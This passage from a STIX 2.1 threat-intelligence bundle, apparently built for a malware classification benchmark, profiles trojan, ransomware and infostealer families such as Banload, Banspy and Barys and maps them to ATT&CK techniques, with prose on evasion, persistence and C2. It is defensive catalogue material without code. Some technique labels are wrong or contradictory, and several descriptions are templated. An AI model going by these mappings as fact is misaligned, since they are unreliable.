      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa7dc23-c3bd-5012-a97a-07321838b4f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64588f82-35ca-5340-a109-43450369a40f",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banks exhibits technique T1056.004 (Input Capture: Credential API Hooking (Intercepting keystrokes and credentials within the browser))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28ff4c3d-6c58-5961-8ea1-1a7473c4c30e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64588f82-35ca-5340-a109-43450369a40f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banks exhibits technique T1185 (Browser Session Hijacking (Utilizing Web Injects to modify banking sites in real-time))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0cbb3f19-9e60-53f4-bdf5-5cf03da85490",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1556.001: Modify Authentication Process: Network Device Authentication (Bypassing 2FA mechanisms)",
      "description": "MITRE ATT&CK Technique T1556.001 (Modify Authentication Process: Network Device Authentication (Bypassing 2FA mechanisms)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1556.001",
          "url": "https://attack.mitre.org/techniques/T1556/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d8fd97a-407f-5828-a473-a2cbb79a3d3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64588f82-35ca-5340-a109-43450369a40f",
      "target_ref": "attack-pattern--0cbb3f19-9e60-53f4-bdf5-5cf03da85490",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banks exhibits technique T1556.001 (Modify Authentication Process: Network Device Authentication (Bypassing 2FA mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banload",
      "description": "Banload (cataloged across security software as TrojanDownloader:Win32/Banload, Trojan-Downloader.Win32.Banload, and Win32/Banload) is a notorious family of trojan downloaders primarily active in the Latin American financial cybercrime ecosystem since 2005. Designed specifically to stage and install secondary banking trojans (such as Banker, Banbra, and Guildma), Banload arrives via phishing emails containing deceptive attachments, such as fake billing receipts, court summons, or tax documents. Upon execution, Banload inspects the host system, terminates local security tools, modifies Windows proxy configurations, and connects to remote command-and-control servers to download and execute heavily encrypted banking trojan binaries. Banload campaigns frequently weaponize document vulnerabilities including CVE-2017-11882 and CVE-2012-0158. (Observed samples in benchmark: 288)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Banload",
        "Win32/Banload",
        "Trojan-Downloader.Win32.Banload",
        "Banload.A",
        "Banload.Banker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banload"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d831fd0c-c03f-5191-981a-abdf20714343",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banload exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f878076a-18e0-54d4-9ca5-9d41ec527eb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banload exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f76c9f51-7450-56c7-88fe-67af8661ecf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banload exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0032a837-e603-55d7-baec-e4f9baa52f9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banload exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b2a29c8-922f-5726-b2fe-5b1492589fe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed946868-b18a-5854-adfb-a94365a2565b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banload exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banpak",
      "description": "Banpak (classified in antivirus detection telemetry under designations including Trojan:Win32/Banpak, Trojan.Win32.Banpak, and Win32/Banpak) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Banpak executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Banpak",
        "Trojan.Win32.Banpak",
        "Win32/Banpak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banpak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banpak"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b38c0d05-aa81-57c0-b723-77af99be3437",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banpak exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fe7fb96-7bc4-56da-9674-9696ebe73b2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banpak exhibits technique T1055 (Process Injection (Process Hollowing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73672356-42da-5441-8d80-c8e33df7b60f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banpak exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb211e75-b072-51fd-b1be-97892b3da241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banpak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96a9edd8-831b-5ac7-b101-6d07338ef775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c98ec1b-b2c2-5cc0-81c8-ccabaf7d2505",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banpak exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7a65762-5701-5503-93c1-204c3f4bc513",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bansomqare",
      "description": "Bansomqare (classified in antivirus detection telemetry under designations including Ransom:Win32/Bansomqare, Ransom.Win32.Bansomqare, and Win32/Bansomqare) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bansomqare executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Generic",
        "Trojan-Ransom.Win32.Bansom",
        "Malware.Cryptor",
        "Ransom:Win32/Bansomqare",
        "Ransom.Win32.Bansomqare",
        "Win32/Bansomqare"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bansomqare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bansomqare"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6675241-ed06-5906-8d90-555e4621f93d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a65762-5701-5503-93c1-204c3f4bc513",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bansomqare exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67956797-0adf-5aad-b562-b082cab4d497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a65762-5701-5503-93c1-204c3f4bc513",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bansomqare exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1012: Query Registry (Identifying mounted drives and network shares to encrypt)",
      "description": "MITRE ATT&CK Technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1012",
          "url": "https://attack.mitre.org/techniques/T1012/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a2eb4e1-e079-5f49-aeda-4b0620475557",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a65762-5701-5503-93c1-204c3f4bc513",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bansomqare exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bea4c415-bf61-5943-b16d-b186a0ddc3ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7a65762-5701-5503-93c1-204c3f4bc513",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bansomqare exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banspy",
      "description": "Banspy (classified in antivirus detection telemetry under designations including PWS:Win32/Banspy, PWS.Win32.Banspy, and Win32/Banspy) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Banspy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Banspy",
        "PWS.Win32.Banspy",
        "Win32/Banspy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banspy"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9157dc26-42e3-58f7-ae53-039a4180c8ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banspy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3753c4be-7420-5100-b03c-4f312177a263",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banspy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de74ca63-c05f-5b0b-adaa-ef01eccf95ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banspy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--220c8b4f-7a47-53a1-91aa-1013450c8422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banspy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8373765-4f9f-51ca-9c78-aca2c51a5ac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92265ac4-2b0a-533b-8dec-03aaeabee8c1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banspy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banz",
      "description": "Banz (classified in antivirus detection telemetry under designations including Ransom:Win32/Banz, Ransom.Win32.Banz, and Win32/Banz) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Banz executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Banz",
        "Ransom.Win32.Banz",
        "Win32/Banz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddd1a495-7f6f-58ab-a7ab-c5d11c61ee5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2c92982-053a-5209-b9f0-37316732900a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44767b8e-2a0d-56e7-ab42-5c2a519ceb11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--736f25eb-4681-5774-b8d5-e20eda92b48f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a79994a-289d-5d54-8eed-9869d07afe97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0655553f-51b9-5dc6-8ba7-ffc5359aa044",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Barys",
      "description": "Barys (cataloged in threat telemetry under signatures including Trojan:Win32/Barys, Trojan:PowerShell/Barys, and HEUR:Trojan-Spy.MSIL.Stealer) is a modular Windows information-stealing trojan and multi-stage loader first observed in 2017. Delivered primarily through spear-phishing campaigns with malicious document attachments, weaponized ISO/LNK archives, and trojanized utility software, Barys is engineered to harvest sensitive credentials from compromised endpoints. Upon execution, the malware performs system reconnaissance, establishes persistence via registry Run keys or scheduled tasks, and deploys specialized theft modules targeting web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge), cryptocurrency wallet extensions, Discord session tokens, and FTP/email clients. Additionally, Barys functions as a second-stage downloader, receiving commands over encrypted HTTP C2 channels to retrieve and execute secondary payloads, including ransomware and remote access trojans (RATs). (Observed samples in benchmark: 200)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Barys",
        "Trojan:PowerShell/Barys",
        "Trojan.Barys",
        "Win32/Barys",
        "Trojan-Spy.MSIL.Barys"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Barys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/barys"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--752f5b5f-0cc6-5fb3-bc93-f5837d8e987f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Barys exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a762ed4d-1d41-5e83-953d-56201c6ca5ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Barys exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c4991c0-02f0-5bf2-9ad1-74e0e4f2d169",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Barys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c481f16-e555-53fe-b84a-8763e7fa17f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Barys exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15e6cce4-ae4b-5d74-a316-b6a53528d9b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--950aa118-475b-5c8b-abc7-2ce2e5bfb1d1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Barys exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Baryumka",
